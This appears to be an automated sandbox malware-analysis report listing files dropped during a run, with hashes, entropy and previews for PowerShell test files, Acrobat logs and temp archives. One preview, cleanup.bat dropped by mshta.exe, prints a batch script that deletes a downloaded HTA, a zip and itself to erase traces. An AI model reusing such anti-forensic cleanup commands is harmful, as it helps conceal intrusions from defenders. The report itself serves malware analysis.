                                Preview:...0.p;...Z...W.aM..:.3p3...^6.@!...R.G..9......S...)`G...<\..X..y.$D.4.>m..c>....)S)...Q.gxuw......+......?e.i..7)...u...$.....&..g.....rwZ......M.2.`...@.?<..l..m..-.}_..P3..........|..~|)(k...Cc.N.J...i.H..[S(...d.......n2zst.A...[V2x.[.........L...\ut..x(.5'j.W..t..N..W.`7..D.j.?...R..27.M..elZ...e.(!,K...J.;Fw.V.g.]-..C.-.n8Au....|U..D$.]....h..0.l....W..-..E>Q,.?..v.q....0.....L..R.39uH.I.6..:. ..j...$$QW.#..m1.....4..=v...`1.M..f.....XL....R...M..*x....P..S...'.G..6..^.+S.H.x...|.%B....]...+.!81$C..uI...w...S....>.gz....V.|.K..j..W{...a...-\.n...t0L../.w.:Q...(V.(]......RSs@.O.........vNB..U`v.C.....<H.}.WE....g{v.......Aq.l....<D.3..c^..#.@.w.9f..78t5l..]..%..AUCT.=.s.=.}..m....wr.W..7==..9.L.~..b~}^....a...F....Q.0>fH.....Y....s....?..!.e..!.3..R.S8.fY.......?..6l..;p+T.4...f|..sor.e*......x..lP.U..<.........k...B.,..H.*./....qY..... ..R0Xn..ygP.%..B..m."D.5..).8.wh.=..Y.D.......7...d:.sz.{.R.)m..~...i;.......s.*9D

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2u3mqzny.qva.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aeberttu.ntc.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvjo1ddz.gfs.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byshi4fw.jms.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqdqbr3t.tu5.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_grtqifhx.3tj.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nilrxets.ldj.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2e2nmwi.csi.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91rghpos_1veejeg_5s0.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
                                Category:dropped
                                Size (bytes):144514
                                Entropy (8bit):7.992637131260696
                                Encrypted:true
                                SSDEEP:3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
                                MD5:BA1716D4FB435DA6C47CE77E3667E6A8
                                SHA1:AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
                                SHA-256:AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
                                SHA-512:65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
                                Malicious:false
                                Preview:PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..|....,.A.....Z..a<.C._..../G|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9hx02v0_1veejei_5s0.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
                                Category:dropped
                                Size (bytes):144514
                                Entropy (8bit):7.992637131260696
                                Encrypted:true
                                SSDEEP:3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
                                MD5:BA1716D4FB435DA6C47CE77E3667E6A8
                                SHA1:AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
                                SHA-256:AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
                                SHA-512:65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
                                Malicious:false
                                Preview:PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..|....,.A.....Z..a<.C._..../G|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-04 21-03-02-260.log

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:ASCII text, with very long lines (393)
                                Category:dropped
                                Size (bytes):16525
                                Entropy (8bit):5.345946398610936
                                Encrypted:false
                                SSDEEP:384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
                                MD5:8947C10F5AB6CFFFAE64BCA79B5A0BE3
                                SHA1:70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
                                SHA-256:4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
                                SHA-512:B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
                                Malicious:false
                                Preview:SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:ASCII text, with very long lines (393), with CRLF line terminators
                                Category:dropped
                                Size (bytes):15114
                                Entropy (8bit):5.373007986030689
                                Encrypted:false
                                SSDEEP:384:LND2f2C2n272+2y22K292l2O2JN2r2QnCnL7g666o6qizi7DYDXDCEbobEbyJ+Jb:a9X
                                MD5:45A3D2FEC6FA6BB12D7319444BFEAEBF
                                SHA1:98399BAD5C28E63B03253EC5145EFC0DBE85AB4A
                                SHA-256:372CB3023AD33C87268F70EF574A7F67BBCB362968EC468D12F6F6D4490461E2
                                SHA-512:5E7304DCFBCB40372D188B6838826F3A6755F4548904DF17A1AEF22607A277A9B7499AA4A5C92CEBE993D3224BCD0EE07B98F18D6F5E8A9092DAB76C8B0A9A81
                                Malicious:false
                                Preview:SessionID=c6195d87-9f9c-449a-9a67-188ad224fecb.1736042582273 Timestamp=2025-01-04T21:03:02:273-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c6195d87-9f9c-449a-9a67-188ad224fecb.1736042582273 Timestamp=2025-01-04T21:03:02:274-0500 ThreadID=7596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c6195d87-9f9c-449a-9a67-188ad224fecb.1736042582273 Timestamp=2025-01-04T21:03:02:274-0500 ThreadID=7596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c6195d87-9f9c-449a-9a67-188ad224fecb.1736042582273 Timestamp=2025-01-04T21:03:02:274-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c6195d87-9f9c-449a-9a67-188ad224fecb.1736042582273 Timestamp=2025-01-04T21:03:02:274-0500 ThreadID=7596 Component=ngl-lib_NglAppLib Description="SetConf

                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):29752
                                Entropy (8bit):5.383212961126267
                                Encrypted:false
                                SSDEEP:768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rT:e7E
                                MD5:F469881628874C07354B0E8FA8EBA08D
                                SHA1:97C62517CF850A77CF0DDE2DB9057F4D48138AD3
                                SHA-256:74A36108B9AF8566425AFAD13A27AB3820D0926C2C51BD0C47396040824FD60E
                                SHA-512:A113821124F2B6DCB01001133B3E5B58D38AB2FC7F519503FBC72E93E19135AF002F8E74BABE41EF5DD7E272E967F8B81A1934C80F3D16924B52F350D189C2E5
                                Malicious:false
                                Preview:03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ******** Starting new session ********..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

                                C:\Users\user\AppData\Local\Temp\acrocef_low\42c798b5-0e41-4ba4-b0e9-0440b83fec03.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
                                Category:dropped
                                Size (bytes):1419751
                                Entropy (8bit):7.976496077007677
                                Encrypted:false
                                SSDEEP:24576:/gWL07oXGZIZwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxXGZIZwZGM3mlind9i4ufFXpAXkru
                                MD5:AAAAB43627E96B02BC54A78F0EE8E32C
                                SHA1:03808205C51BA031BF69F0DF07C9C80835098104
                                SHA-256:B9ED5860C1528CAE5717E553381762D9C4ED093E546F7500F55B6B18B5C20CEA
                                SHA-512:A476038C2BC9573AFA12D831678C0D2A6EFF0C1E065F7D214A0D5684E79AA7F02710DF30524DE0E6EC90CB660E581531DFA57F038EE1BC285B9BC3DAE17D133D
                                Malicious:false
                                Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

                                C:\Users\user\AppData\Local\Temp\acrocef_low\65b673c5-d087-4e28-a370-168e7669b55a.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
                                Category:dropped
                                Size (bytes):1407294
                                Entropy (8bit):7.97605879016224
                                Encrypted:false
                                SSDEEP:24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07EGZftwYIGNPzWL07oW:Jb3mlind9i4ufFXpAXkrfUs0wGZVwZGf
                                MD5:0E1B199E77ACA01686FEB4EAEF72E148
                                SHA1:7C22D506ABC4B734E9491A833F78CBB2549356D7
                                SHA-256:46896E7C24B491E55815328A77A1F3FF6E9CBD6DAEFCD172F026B53320F934DE
                                SHA-512:EFEEDED8F81C340876293C5A63B3F1BEED952659B2DACCCC3ADD9868F6D6782484B29BE6720FD7F8E32B0A5CFF5C08CC31C2252A9AE20F0692A935AF0C263664
                                Malicious:false
                                Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

                                C:\Users\user\AppData\Local\Temp\acrocef_low\af341d60-20bd-4be8-bdfd-53421459e907.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
                                Category:dropped
                                Size (bytes):386528
                                Entropy (8bit):7.9736851559892425
                                Encrypted:false
                                SSDEEP:6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
                                MD5:5C48B0AD2FEF800949466AE872E1F1E2
                                SHA1:337D617AE142815EDDACB48484628C1F16692A2F
                                SHA-256:F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
                                SHA-512:44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
                                Malicious:false
                                Preview:...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-|..h#.g.\.PO.|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..|m.WC.....|.....e.[W.p.8...rm....^..x'......5!...|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

                                C:\Users\user\AppData\Local\Temp\acrocef_low\df626de5-92de-4abc-bdb9-83df86b1c39f.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
                                Category:dropped
                                Size (bytes):758601
                                Entropy (8bit):7.98639316555857
                                Encrypted:false
                                SSDEEP:12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
                                MD5:3A49135134665364308390AC398006F1
                                SHA1:28EF4CE5690BF8A9E048AF7D30688120DAC6F126
                                SHA-256:D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
                                SHA-512:BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
                                Malicious:false
                                Preview:...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!|G.1...... .3.`./....`~......G.............|..pS.e.C....:o.u_..oi.:..|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

                                C:\Users\user\AppData\Local\Temp\cleanup.bat

                                Download File
                                Process:C:\Windows\SysWOW64\mshta.exe
                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):170
                                Entropy (8bit):4.821837976420847
                                Encrypted:false
                                SSDEEP:3:mKDDCMN2RuXcov2lOt+kiE2J5xAIhMS2Lr5+Vovu9LsB8SAlOt+kiE2J5xAIziQp:hWK2vo+cwkn23fhnKdqo29LiXwkn23fZ
                                MD5:6EF1EF813A19AE723C47C634175686F6
                                SHA1:08B33DB9B60397E1FCE1401623525961AD93D3CF
                                SHA-256:EE1ED5C1D79613338208C48665A128B7C49CEAD655C8235E6ADED6DD053E0350
                                SHA-512:38A81019CF124C80D48264E0AD0F89179F819684017F138A3F487FB7010D8DD736E289CFD21996C7D02CFA623C10FCA04BDB63F3BD4772D21860B8D5BA640284
                                Malicious:false
                                Preview:@echo off..timeout /t 10 >nul..del "C:\Users\user\AppData\Local\Temp\temp.bat"..del msword.zip..del downloaded.hta..del "C:\Users\user\AppData\Local\Temp\cleanup.bat"..

                                C:\Users\user\AppData\Local\Temp\msword.zip

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                Category:dropped
                                Size (bytes):3511922
                                Entropy (8bit):6.32262550846943
                                Encrypted:false
                                SSDEEP:49152:BZH8MW3UdWJhVmT6CpvDjgYDlw0kr1LKEKNoCo:/H8ZZvVopvgYD/kJLKEqu
                                MD5:EF2620F66230219A51A6C2055066C3C3
